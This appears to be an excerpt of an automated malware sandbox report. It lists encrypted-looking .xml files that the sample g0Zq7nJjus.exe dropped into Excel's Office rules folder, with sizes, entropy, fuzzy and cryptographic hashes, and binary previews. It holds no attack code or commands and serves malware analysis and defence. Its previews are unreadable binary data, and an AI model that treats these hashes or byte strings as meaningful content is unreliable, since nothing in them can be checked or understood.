Preview:	<?xml...e...E..b ...J...N..@..?).N.6Y<.....lB.!....8...).[y.,..~.#^....4Y...T.Z.~r.k.....!a.3g`....F.T$.. ..&q.;e.JY...Y/PlS.< .)..;...UHx...%.._..<N3..M.>..b..#....L...P...)NT.K..:........%.A...i.!q..,.vp..2.W.Nca.....x.<,.H...T...f.(..q.....S.t/$M.i..s^&..M.31.m..d.6.e.].....{....j.kb...L+.5....C.x.....~3W)...#...pE....I..9w...H4k.j.....p...].......S......!..v...$n..t.q...OJ..k.I.....+/..a.c.\t.j.4+FD..9......2/\./..EngR.v.Zgv....M.-..l..]c..@........#..T.W.F.....Y$...N.g8[..u&....F.....2.7i....}....;C.wv{.....M..(....p..)\|..`...[.BD.Q.sX..te6D1.jHYS..S%X.. .n.0O;i..\j.d2.......E.gm.1[.....-T./......[..2.C....].20..aM.u.. _.P.Ly..........Z?.........Zh.x.'....yA.TN.A.-.:..B....C...M.S.6.G.L..CE.Mh...B9,<B....8B..$.c.. ..0.i...R.......O..U/r6.&.R...F.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8494278570671145
Encrypted:	false
SSDEEP:	24:YGOxQoRfRDhYhxejoA/zhuGhpJQePB5zrzADYBz06EcKJh96UZV2bD:XOxQMRDhYmjp0GjNB1AgNq6QuD
MD5:	B93FE268111AE634A27B569CA0F8FE2A
SHA1:	5BD4897AEBF3ADA190041E2B1D546CA0503DF0C6
SHA-256:	32A0AAAFE814924FE6B1204B89D202FEED208F9946C3B24FC6E2593B6F3EB101
SHA-512:	68619B0109B32B20343E8C17D7B0726B3A6FF2590374CA3442ED9FE84298900D72D20E13AE0116022D77BF427A74CDC8CDAEBABDF0BD91C30A08E1000C9B2E58
Malicious:	false
Preview:	<?xml%.$.UC..2.c#.W...C..........:.A<.S..o.X7.d.n^T....$T.>>(.?yq.._..pF+.tI...t/..+!..>.n"..!WJ.?.&..J..%cP3.f...6...W.+..`..p.d..<.U..Y.KYE...(...j..\.O....l#Av:^..4.1^^ag.M.-Z..:m...(..f..I...X......q.........?t.u........................\|C/_.y_}..0(n.x..].3[5.K..9.......?.`........~....V...KT.]-...V.h.o.'......_..!...'&........k.]eoF`$I6...&M..]d..s....l.z...(g.f@iQ.8.^.j".....A.....m..5...E..d...V>0.?>.n,.Q.........'...05....#[..5..........t.......G8.....K..@...YtD@....6.d...{.....L..._.4W.}M.Ml.,gV..,#~.....DR.......X.j#n..y..8...5.C. hx.}....v..5D..C)R..t..>k.....}..I$.d.C.x.(.0Q............P5Z.b..dk.`.v4.X%.p%2.....e.Be..<..R.*o.p...Ru.-....R..J..7.t3sx=]..n.U......z'...wR.....>Z?...].3j.(F.=gE.73.[..{..._.wa.../..1.A_...n.S..:.I<.b.2.....IQH....K.2p..{...5..?.R..k...r7&T....w..cxb...;...xL..].F.5."Qy.M.^......j.;=B.xuM...................".]...P....O..F..}..\|........R.{I`S...)._w.....y.....&......&.]<..J...O.?f([LVa.{I...,#.... ~f.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.847102893316164
Encrypted:	false
SSDEEP:	24:pkiJoi1+/Q4XkY/RyHHx4QCYg3o4849yODPK5XviJ/OxrcTvNcQcBdt2bD:ZG0/sQ9bv49/bK5/C/a2TeGD
MD5:	D38A9F55B7897C694D22884041A10B71
SHA1:	195C0A764A60DAF04499E73DB61DDEF8649A749F
SHA-256:	4471AAD526F47D5C24A4FC94E820B74D097F0E3676A84F4CF9864ADEBCF2E818
SHA-512:	AF59D5FCAED3FAE455CA29324D8C66C44EB09E26B692CEEDE2A7FB54732CA787418A1A034FCFB471AD2759FFD4881DC3512ED4FEB90342A116B854698EB65178
Malicious:	false
Preview:	<?xml.vg....=..<.W...L..c~:v...va...;HS.9.z.n.h...[.XD....$..c.q.M.p_E........"..3..Xd..y.F.x.T...z...E....:..M..?...R.`.u......p..@cg....Y......E...t.ZcZ.^K_....."N[;(ns......g...^..K>.......(.o.4&.#.cW.<.!q...V..t..XG..g......ggD.:......`....Kp..m.a5..}6.@....0...v...q]&.E....+^P...V.hpZ.......6Se.X@...~.^.....-R..5..}.G..l.......=..p..L.$.1Q.y..G.........B..q...Y..[$.^...X.........@]Wj........c./.n....m]..}f.Mk\|`.#.7`G...=.X~..}.5..^.....G..... .^h@..#. .8.H..4?...t,C..65K.'_.$zA.9.S#..6..@..-F...d.o&V4\|;j.4....&].Y\WQ....rq.6.C..i.W.`.~..uA?b.~..I.....\|(l3x5.....AJ...Y/......\.x.._z.@.+Z.zh.L...3a......I.....l.V.-?.......:.c.`.0.V.Q....c.qh5-h'..K...+....y*q...a..$..l.>gSs.=....@.F5.........)<.2...[E.gj. 6.8......\....>....C....R...vU...j=c...#.Cn.,...u?....0...t..C..vpC...5i^x..Z.0...3...\|(..x..O.%H......au...Zg...x_.C..a...+\|..-.!V....?7'.........of..1...z".Ef.R.3..Sn]...V-..5:mT..Oc. :...w..H.yh., 2.+bm..%..... ..........W....o..4..#:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.971753633142119
Encrypted:	false
SSDEEP:	96:0MSQaZly1Z8bJ3shfMqfE82fszqGKymaj/q1gsWwVWVtZ14pROL3jEgFu+8xgYBx:z8bmfVbzQsTzwVWVt2sLAGeh97ZhiK/
MD5:	E8DBDA5CBC0CB5B8771A0C2AC3E42863
SHA1:	726003B7FACEF777A99A0F32353481483771D415
SHA-256:	416293BB7D9ACD9DBC98B3553F9DE51C05EAF1F71544E08431EBBA11B6FD7ED3
SHA-512:	4AF2D83A13D4187A5A8C7EC9DDCEF68D1F9900B2B40AB9F01BCE047B60A7EA924D61EAB1B95455E8747ED5809C0258F5439299998D92D54FBCA9409C6130DD69
Malicious:	false
Preview:	<?xml>...5.........H...C..5..........4m.....;l.y..]...!..D.G...h..1.f>.f.}o......;.xe@...h0.../..V...d.1..{...\| N...;..O.F...............9.C.....r.I...2........P....5Y.P..gg..]..H7.=..A[.......j.(pD....l[5c..Z...1q5.C...L..z.......&!.@_....mY.E.\/..P..0..p..<.[#O..f.i1\|......^s.#.QhN#.k....\|. g...... ....[%..=..IR..yE..0.T.........^....EUF;.s@i.5....T...A.].Hu....F.s_....l...W.7..mH...[ca...u].".`.c.k..:.'s.".j6+.#....F#T7K..8.:....gx<I.d....N.E..!pK;......R.(.Q\O9L$.....C.v.,..E....O;.VGg........O....-..,..O~....m...".v5....,..:....>...Fx....Z.A&$.M..4.$......+.W1.+....5.-.M.h.Y..>......N...9....k.[..e.H..x#J....@..A.Ri..0.~...d....x{.E.b..0B..E.A..-...S .6..)s.1I..\|.\a......................4.{<md..<..-gcC.z.h.!....+d./..k..mq..f~.q..O.B.(.IW...\|k..P\....5\|b.....v...............Z..d..\|.F.KL3.......o....F{...3&(...../~.~{.Y._8..Km8.]....(........`.....4.D\.....;D.J..M..!Q.Po.].N.W4.m..._..b6....u?..8e...t*.S~....A.({..6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.713743352784462
Encrypted:	false
SSDEEP:	12:qoMRU4TjbxAm0ampRKvptqguO67AnLIkwEbTaC6Y5/o/9aTEtgXI8tQO4KSUdNcq:ZMm4XbxAmTaRKvKK6ETnTaC6HltgY8Vb
MD5:	3C54AF5969BE2757C9EB74663A0E725C
SHA1:	6D88F8D7A5A8B2C70842087953CF270ECF4DA5F1
SHA-256:	98F68FE7B318264CD548826BE8AEB8CF18AE4B86F0FEC23E2D893AE9D2D14598
SHA-512:	F95908413EA941FAF7FEB9D78E464C03AB4DC2763B20FEFBA323888E8C47AE3D61CC6CACC1001054FE8DB329C2E4BA01492D81BA142F31D47E4C8849F784FB22
Malicious:	false
Preview:	<?xml.@:f..=..4.+..Df.B..9..n..~..$.RG....y.w.]O...n.......?.DI..r.b.eHz.v1.8..:...l_..z."..7..`"(.{f+dm.u.t~,4NF+.P.Q..!S..Sa.i`..C.X..v9....Y...e..Q#).!...@k]R .N...j...n...;m5.l..".J......Q9.^..zHI..R;0;...Q.qN.2....m....._.8.8p..P..a..z9..'.......}..3..........sA..'...y...X#.N.%.....F...tdFa.M.!..r^.,..t.}...e<...zP./+.FE.+m..b8..6..u.+.IXT..[vA..n..c...:..b.?a"...s..M}N<.......K....6.l......V.5.}.m..=);..@!.y.D..wZ....I._.....`...F.Q!..B..+\|..~.....K..... 5T., T%....t.sXj..O?.......r.v.P.4V.3[.\.......7.K.p\...3.x]...S.O&&TH.'.........,..X.R1...86&T.Z@.]5..-..`.^.}Bt...u....g.5W.g..WW.._L}......iI.I..?.n.d\|...U1u.V.......V..K8.i%X.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.852290226557159
Encrypted:	false
SSDEEP:	24:YauCqcD3Bz2bzeURlQvuo4/AdeLo+w7Yr3kiE7dra9YSOdD627y/mdWM2bD:Ycqc7s/jMuc8LkYrFud4Yzd+9mkfD
MD5:	D318CCA87C9C940ED3FB7FC8D0800BA7
SHA1:	685764ADC84E4E0CA995858CB088BE2648C5CDF3
SHA-256:	D4C969B3EA85C5314546B25A9B3F8C9C8D95DD47138B4237BA0D657A28FFC65C
SHA-512:	8C68B59396A55AD384A450F1707782B5FFE028EA625B8E8A350BBC0CAD3725E040489DB8458BADEDBC4D1D5098595A18AF0BA8138676F1C364B22960CC2C01E4
Malicious:	false
Preview:	<?xmlo.0.[o........o..g...z=.}:...xm..BV.....M.fX...H.l..Q0e.q....{...g3mH...K...g}...5H.x %.\..rgqL.w.+.x./cp.U.H...t.......i..f...Q.....\|..5....:.J/..3.\...v)Y.RfE,.M.E......h.....[...O.,.."...P.l......v#f..!=O{..}.p......%.r...Y&...m(.......l.1<P.....f.4a....eV)..:#.Z.}y..._."%...).}. ..y..A5......w(...........#u.="x.....=...G..K5&..:a..e:..D...\...d.#.?.. .U.9P.p..p.T%J... ..).<.../;...0A.....}.x.......V...<..q.N.2Q.......y...-..... ..i....i.5.A..>3f.r.z....0.Y.d.k.9...?.Z.Vl.a2......S.%:.....k.ev.?.J.zY.G+.".=^..r.........yF...O.x....)..<..O...^.i..".r.A....=#.H.E..{=<.0fe.<.\|.....NE.ySa..............E.7..I..}<"+{t.."..W.........V..........J......F..`~..b../...\|..fI.m...`.../..E.T.u..",...K....%....$..._.....>.....+w.87....{.{.....!.B(..i8..../7g.o..w'..6.n.@.U.v.5...@.s.x4.Y.=...k.C36>...ofJK.}>Ec...U...`...d...xn.../.@.;.M...p...;p..(..V..tv?..F@4.a..Z.A\|a....e..y.....h...}^...\.b^.%bw..S.2...hH. ...e;.J....k{..7.......]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.941303301874739
Encrypted:	false
SSDEEP:	96:a3fQ4OaFa+Ey0p7HGQHLGn7yNcDrN3UAWn:QfBOaFaNy0FdHCI6rNkA4
MD5:	4AF94724CC922DB88D075276FEF00CC5
SHA1:	1729B41E506D364215D198EE67D339086913E753
SHA-256:	893E3C957CF048A43A3F1A9B93223399AC84456F0BE1B5B0F5B4D8F8E44E29CC
SHA-512:	B4F1AB2A9FFE7D85D69FC4298F8C67F93C7B328D306846646B7CA5DB0C051C09D3655CFA6A3F14896F363DC2E4FBD99473816C15E62ED0671399F4CD718B37D2
Malicious:	false
Preview:	<?xmlQ.@<..V.u...Mb..]...;Yro~..T..(....#rA.._.h....C.....p..aJ._.Kh.}H..Z.s.j..._.xOX.....N..A.=.#...\-i)`.'.^k...VZpS\|:..sgZ.....o......5...P....c./B[..Y......=Z&=..[.V..&\|5.i..a......-.....4.X.V.!m.y.gh./...H3...zsH1wE.{.V!E.ld.J^.3~..Z..9....D.[.M.)...>...y. .].?.0w.N...."......v......u#Z/..d..o....W/.....g..!t.F..Cp...l..i.1#......9.....ki-.....GmQ.E....=7{.....o...T..{t.Y@....{...IW3.v...$@h`.....9.....f`.fk.1t3....Mt..n..)8....J`=l)N..9.%..9. .....,...MQka.ag(RU4lJ..y...z...2%..!4..>.H._...Tt.k..(;....XD.B...e..V....../lDA...Y5....'..:.\|.m..k.tn....G........G..Y..b.;...d.........Jqds...yv.:.....-..1........7.../+jK...h1.q..Tno...S......."....,.L7..~#.<.r....m.rt=F....s..m..&G.J&0.....LN.=q.k....w..w.sayA.....3...y3...\..6#..t...?.z...rM.[J..D.aU-.K!..3..=..../.B...)....g..N.......\....t..:4:..LB...Wm..}.......6"...aH..-^.\|.R...e0....}..).y.N5./.R.. .....d.@..J.=...,..i....!......-..o@_\|.Rk.t.kK.......v.}..w$k...2.8...6,`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.798012778694795
Encrypted:	false
SSDEEP:	24:tH6K2CVGjNSDhEV7dNDD8vZQmZbkTRuG0Vi0x2bD:JpQJSDh0DDYxkNuG0RKD
MD5:	E2231296DE1FEFB07730D755513F7DC2
SHA1:	EBF7C46381111EACF56777E9FA5DACABFAE6A0C3
SHA-256:	007BE0CF3E8BC2C4BFB9F14AD53D35CE1AD314D01383BDC5D845291C489CC8B7
SHA-512:	802272B104522C30313881DB670A2CBA92A788B70BD97E5F7E7F651AB5885C12AED6897F56A31E013C463C5E848457678645A5AA02DF5B05D784AEE826D48DB5
Malicious:	false
Preview:	<?xmlL........Ogk&;..~"........v.......,vG.W\]\|..4.I.D.8..;....!.!..l..E..m..4P5..D.H.`.k..Tr0.5.9.......ro....f....s.&..B..lV/.\.......{.......I}..^......!.\|.....F..).)...N>.M.....l.K.i-;...<zs.F...1.{...$.'...........E.nD....yL..d......S<oq/.m.B]?..`-.W.ki...&..g+... ....BgN1}.nN.k%L......X._.g..F..@..GK..U....W....S..0z..Y............:D1..../.7...z./...d.s...[..-...p.."......j...v...u6z...w.g.;.i..o...v1..I9K%.r.........m..f..l.Uz3.%..$."..o!f2I.i+...b....N.B..\..k...why\|.....Y...jIz....-\...z.N..h..;8.=.........3.8.W.M......>-..y .X.....]...z.<..zJT$...R..V...h....8C....$L.R;x.z..F.....l"s..G.)=5 .%.....f..J.....WH.;.Q.(..X.6...Q:..w.'.g2...i..}z....@..$W.9.7y0}.3.}..... .n`Ub..G..]7....M....@...QO.;O.Q....._..A...JyC.....#a.j.4`n...m&0HW......hYP .....Zt..\|*%.Z.$..mMC.).z^..&z...;o..=.\|P......{............-......e.:.0mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.933589262935117
Encrypted:	false
SSDEEP:	48:ZdIg8jKS3fqOdpI8NJvtT4z1qVHb5DT4kwCVF8qaZ+W0ntlWcJl1/n1eyHmw6mHq:f8/vd74Ytb5DT4kwC5c2tMYj/1NHhK
MD5:	BE5A9B3FCDAF46D19807E03C80E7EE68
SHA1:	98A3F4F8A223C598290B04CDD874ECC907C0278E
SHA-256:	2AEB924584BC43D60F4F60697A0556F1805C2CD5772DB4334D81B336303229CE
SHA-512:	B7D3220D328EDED112FFA8534A93E720E6665F5D11379D4EDF802DD442E22120ADE3E9706D9201D987EA4A0615526A6C355328293721998812849A88625489EC
Malicious:	false
Preview:	<?xml7...t...Y.^9.y..dI.....b.C.7S....A<.7...M3......1..+.)...Gq>~H.'..,vS!..5:tM..yw".d..".S&C...#F..4........y...Fm.Xwar&...k@`.#.)....t.Q,.d...2.P.Q.O..,.us]...wQ^t....S.U..S].G......).....l.E.:th. ..J....l.;mA....L...k.F.B^.v.......J....B..\|G..$...o.`...D.%"[.6.o.r9J.R.{F.w.mB.E\].z.ut..:. .U.3N....v.iS.......-J...VgHn..uN;X<..M.,.M.!.V..{EH..>..cT.....g..D.....Sp..2X...^...G<...61s......a....l..sE.W.....97.5..?...fG....l..\...q.U......\|.l.t~z.P...nDa.F..Y......:..Q...I.....1\|C}.#^s;9.4P......._..v.......'P....Q..#ij..Z...o....#..TV..y.q;6...2ye.5..E....W).....?..9.\...w.......w..^.-.Lr..$T.T4U..',..N]....M...s.s..\|t3.{.$^.......C.%c.B.v'.P.u..r3OvH.:a..w.{.z.a..X...V.z..........F....v.\|....m..A..C..)).....4...8.\|.Be.C.\%f.!..hv..il..#.{...5..q.&..&+...K9:..k.oRd.x...m.....@.m...<..7.y..@Co..&...M:R.<.rL...D..g....)%.l...n.5..Q..?......*n..U.d.CZ)..0.g..n.`...?.........l.~...]....R.q.F.v[]..U..n:.Y.\|_.2..Ux$^9...e.F.V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.92839190003638
Encrypted:	false
SSDEEP:	48:DvskmNDb1K4X/w8QR/5xkBDtX/CogzqVaKgvYNiEDXrqD:OLPw8QLxMNnf5NHi
MD5:	EB78F8A27790D7F0092B7AE5BE4C04C2
SHA1:	016CF0F2A14C2B22999D7084B328C0879AC6F756
SHA-256:	D3A2957791636F511A7528CC29DD1D4A4B1B70162B4E975747AE6AD2C3F1DB32
SHA-512:	38188BF33646168DC7A3DC2A12F7C7B0C32BCFBCB96248A07932AF413D0B3F817564B9192624B88780FBF4E3A0280C2E86F0DF95A9BFBFB331F45B6EFD534C51
Malicious:	false
Preview:	<?xml.%../p....Q;.......?@O5A..>.....B.>.....!........M.Z..".Vt,.E...k..pj)....O\A.g..<Qn#b.f.n......Ib.s.-....q_..<Yy...v-.c"2P.1u..Gd\.{.%x..w/y0...=.f~....I.k..RN.0..Z.,.. . .._~.2....R...rc.........R;w.X.............5.....N..{.n....}....../...q.qr M.V.`X....'...8..J.s.0...=......k{.....d....F....d.d........hM...e>..]4.... ....9.r.J./D..M..........Z..n.I..t5..I.../(.\|......R.....K..a......Hb..I..m.3.. ^% O....Me#.AV..v.e}...x..t._...i.P..8.p.d..h....ni.0......AO\l4.H.^.:d.k..k.p"....1.<._M.......'.t. ..Q..U.>..!V/xS..6................Q....p.Gbp&3.....2!..]X.YP.&..L..s....u,..p.N....7.....g........2.C........W1.>J;...rup.k..&cg=..5..$....7).(.R.fhK%\|".\|.`u..q.k..\LK9.._..6....f1....C..,Uj{Ce.s.[p.O..........}E.....jq...V..U.E......._w.m..^eo.F.....A...F.G......7E.K.%W..L.E4:.k.....]..m......\|+.Mm.X.......\4.....+.0..`6..Y.d.....D.u.. ....u..8di...V..:...9/. ...`p..7u...\|W{V..Wl.':c......F...&..i!.j..k...0}..y.U5..;..5HOP!W..Kk.H.._~ .y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.928682321091601
Encrypted:	false
SSDEEP:	96:VpDGUvIh/ftEoKYMiGUK7ESscV6mZmGj5+:Vo/uoVUUzcn+
MD5:	15A719BC270F8486B7ECE998B4F45B04
SHA1:	2D3FBC173D2DACC351C237D70D4402C43EDD0924
SHA-256:	32298894339BCFE3598611FB63FF9E6DA93269B76819D5DFE97B21BD28581536
SHA-512:	C2A8164E88B211758434BE98D38F21AFBB8FCC2265648586FA6A69503118931C15E7990B5821CC7D033FE85C4E183963DE188B79BEC6E91237D03A89BB7CBB43
Malicious:	false
Preview:	<?xml..o}.4...R%...7....[......s.6..P..X...-..(.D..Y..q....x...'.Ox..MC..<..9aO.._E.i..e...+l...g.lS.1.(8...H.......N.........!..1p;.R.....#(.n.`.._..-D`.o....A..\..B._..d1...2...........A~....]..;.6.A..\o..Yc...o..V4..a$.2B.z..!.........A.oY.....y\|.5.....A..O..0..5QH.Te...0.(.B...7.FG5.....r..pr...Y....T.$........XL+`^{...p.!...\|8...xD..+P..}^%Q..^.....Z.......p.......un..-..BwK...../6.a%..!...r&..K_..m.V..X....=...&.:w.^U..p&..&>..?.j..9.d.z.'y..kp.fH....Z.z..+...,7f{..,O.6M....M.......^.....lm.dxC4..B..g.RQJ\|x....K.m.V...Uz.]z.^.....h~......?=.z.m.2Y......ti...o.an.......v`D.F.!..sIm....#...H..?F.7.1\.-...g.B.].....g,...7.5U....'..aZ.\.:-/../.VXj8.Y.w....B...R!.".~X/.F..R?..*X.tT.t..~z...9.[...s.......iN....=O.@-Mu....S..N..U.]...9zK.S...F._}].L..,G..y.U.....w.I".e...v.O+E#.@...Z.t]G_.m..(.S+.?......h.C..A.....P....Q...xK.e.e\|.$-.+....P...b.+.....0..ync.b..~.+.`nc.2c..)]....a..-...T9....N..2.2`?.....3...5.@=9W..83D...{n6.....B/.....Ut

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.955512498520787
Encrypted:	false
SSDEEP:	96:/1FbW6HzTLEPdMxk8CSC8LkrlwPdoI4ftHQ0e6lXhOGyjChBE0U:JHzTL+EkmhLkrlnvJhOLC/FU
MD5:	681774D342BCB95393DEAE81501F7507
SHA1:	7647740B1272348414E9B2FEAE0C0170432DB6FF
SHA-256:	D15D807F3037E879CDC72CFAE12069A80B12336CE51354E575ED44A7AB0D77AF
SHA-512:	D4F207B478ACE8FE4B8D3019E559A8BDEA3790CDA129CFC8E245BBD8A2863BEB3D40664A3939DE26B737E1C8DE4C8891ADB50F9E08AEA52CF923C4E8DD1C49C0
Malicious:	false
Preview:	<?xml_).....O..D......L?..SF.$.l~]..r.x..1..&...ab`.Y.Co..%w^...t<......._R c.X..)......(.&c..,...z..~.iTT...K..>/..o.xz.G..}.....8.......l....M.H....5..'.Pz.....%+.5....l....:Xp.>92."..<.....V.&!.....i..{@..).)..r!?.....{e...$....`tW.jc@. r.#.z...R.g\..NB..[......P..4o.Z$c...2....}".FA...o..y."..x.+..v.....Kj.OT.F;l.5m..Fs...GP.cu..c.......y..f..?]1@.;..x.Hp....".`[G)r..S$...@f..9H.u.. .op.,.(..i?5(..X...X..@{.{&.)..(........D.~...7..i..>5c.a....q../$....[.0[7.Rw.0."y.;.6.....l]..d$......b....+y.k......."..Od..>..:p..#z.z...-...tYZ..D...d.S...[P.1...^Y...J\..-U.Wj........q.Dx1.6......KC.".0.s....@..<V.6.a.v...^.n....J....=...kz..m.qXqs.v.=.o.....mB.'.9..,.nKX........%....[.e.....aD.R.x8.s..F...@...$.dxpRs9..s..p..a......#..+.&..}s.;.Hj.92.+!<....L.%0..i\|....mv..(...P.zB..+...`+y..6.q..`x.... <.9..9P3p0...z....p[..`.X..._.....)q+.M........4x,l....n/..{5..N.Fu....ej...do?-.../......-%."P....n.\|...&ll.........'..!.z...~y.%.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.975029062667099
Encrypted:	false
SSDEEP:	192:OqzoI9U9HSRbcAEBMz0UuWjdJA8iu1QR1GNAo5+rjC:BsIa9HSRgAEBg0AIBuiR1GOo5t
MD5:	052EAE2E844157D9FC63BE387B8A6DD9
SHA1:	404966D78CAA67A99DA0234B02E88CC5D2A66B09
SHA-256:	B1861D26AD07D64BCCE4E8FA6AB1F908F1D281CFB4E33A89322FA0B247062138
SHA-512:	35C74F57A91DE30FC74BDF7E9B6FFBDAF25485D909346042FC26A8F10AE7F8C793582D3C2B8CC2ACA36CCFF3BAB4E7936F9C00F6D42A065B49314F0CBFF6B85B
Malicious:	false
Preview:	<?xml&j..f..G....d;...0...bo.9..dt._...........~...7@W.......j..(.7..Z..w.fj...tW.......ld{..e.....1uQ..".......&........G.I......a.Ab.~p8......kY. ..UR.Hm`..WM.k.U.tT...?F..b._>.:...o...!...].J$wt..m%?"..s...j$C...d.......fo.....5m$.L.f...{....:.$g...n..3..=..:....p..p.;.<H...y....-..uH...>..o........j.1....qZ...-...`...p..c~...c.k..N..PpnQ".._S.-:Kfh...V..T..L..O..\.KcW[^.p_..........]u.k$...Q.fr.1.T..n.........%..2.,v.xK.......a..}>)....n.\.y9..+9.~.{.w.s...M.(.B.%_..#p ]I[qOk.J.l......R......6...P..v&d...V.....oN.Q..mS..:.}.......<...V.....NY.@i......p...G...Y..]$R..x[Z...}..R4Z...+.B.-.....SEge.JP...R.J....qz#H...IF...u&..1.K.......g;{...L3<. .........cR......7h..)~5.p.R.1..!........;._(\.]....f.Q.....fN.....Q.];i@.....c.[eG....../..iOk..z.j..6%.!w."%...{.;.H.6d....-~.\v-5;...+j..^..M\L%...#..O%=....A.{.Y.S>....EI....z....}.S...`TQd.....wX.....UT......d.v...l xf4..:....?...9...y./.e.R..$..(m.....i.........b/fx.}...u..M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.973323988675067
Encrypted:	false
SSDEEP:	192:4sPxpqVthjwPO58/ybsmNEXnKdEOz8PZrt3Fd6Ig7:48qXOsb4mOcV8RBeb7
MD5:	3FAC033058BC4BCABAC190BB7DC6EB8E
SHA1:	0AAB2EA827D6FBB8C6D50406C585CF22A448C619
SHA-256:	B1320B3A52D17BDE63B53AC78A7950CF93DFE58C75E2BD043E61A0E61DFD3FD9
SHA-512:	5D0EB022656B345EC07C2A08512B9C840EFBEE4EA160932058A7C16EC6BB4E7517668A34C961F4937A3A3ECADFBFEB8557DC9DCBB14E5271F706177141A0EB9E
Malicious:	false
Preview:	<?xml\|...X.=#.u.......Y......O5r.V.y#M\|F..R..c...}.. ..Q....kM..1<.._.....s.C...6 m.&)."..!.l.b.Q.M..h.._..W....T.......\...L.2.O..nn....Hb..."..bK.M...70.w...zVy#.w....Hp........i(7.Vw..?.....c.t..6<.l.=.......Uy....m@..@.g#.Lj....7..a .QM...c.Z@O......LYQ9..+......^..%.j.U.K.0:.0.....Q...$te.....(#...Ay.......-.z_.....#{.@...]..u.[.g........z59a.B.5zI?-.=.P..>..U.r....m............)..6.......o..........I..:..Qm..c.OW.. i.z.P......r..2l..h..)'._..H...u.7....`L.....,\...(..Fu.(..Q..Q.B}..k...W...Zvd....x.eq.q3.9........b...'.Y....T1.......\|......1.~......<.....l..a..w....E.]0\:..i0..z..{,..#.$+rJ.^..U.....VK........a_@.X....(f....TdH..8..X.q..2....U..f].Ey..p...O7..._...6.7d.-e.....T.`..:o....y..+..E#.%.rB...bd.k...{1r...o.UB&......M.2..p..P9.......~N<.#...RFs....).......^n.RnSz.=H.hw.4W..qp.<[..EM:.<..t...'T.[.2......f.\|!X...A.Lrz...N...m.h..wO.3.(......Y0>.......;_...)8...=T#.Ep.A..T:.....L.E..\|...Ci.....M.....s.&(.y+..^..+M._...'.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.863350404134298
Encrypted:	false
SSDEEP:	24:oVAAPyB1WxViIbHwWjftDlWqjHlfai99bux03KAR4+LsjjtSDfN45I1mpm/2Nh2X:oVAmHxTXjFBqm5aws0b51cm/2N6D
MD5:	39DC7AB5F81E5D405BE9B6B11EF5E9D2
SHA1:	3BC15F00569BCAF5E2B8A567F26DAB26D7E65B35
SHA-256:	D9C7641E4AD9FBA46D3B0A1008EED9D76C09E3BAA868758D826550189C361C4C
SHA-512:	9ED0B4FE1B175188BB1DD2C129662BB4DF8530F40D639A4B5580C0BAF9FC7EC322B7D12A8F40E24746943C2CBE71D41DB1ADBB8DAF8701565863112AB51CD15B
Malicious:	false
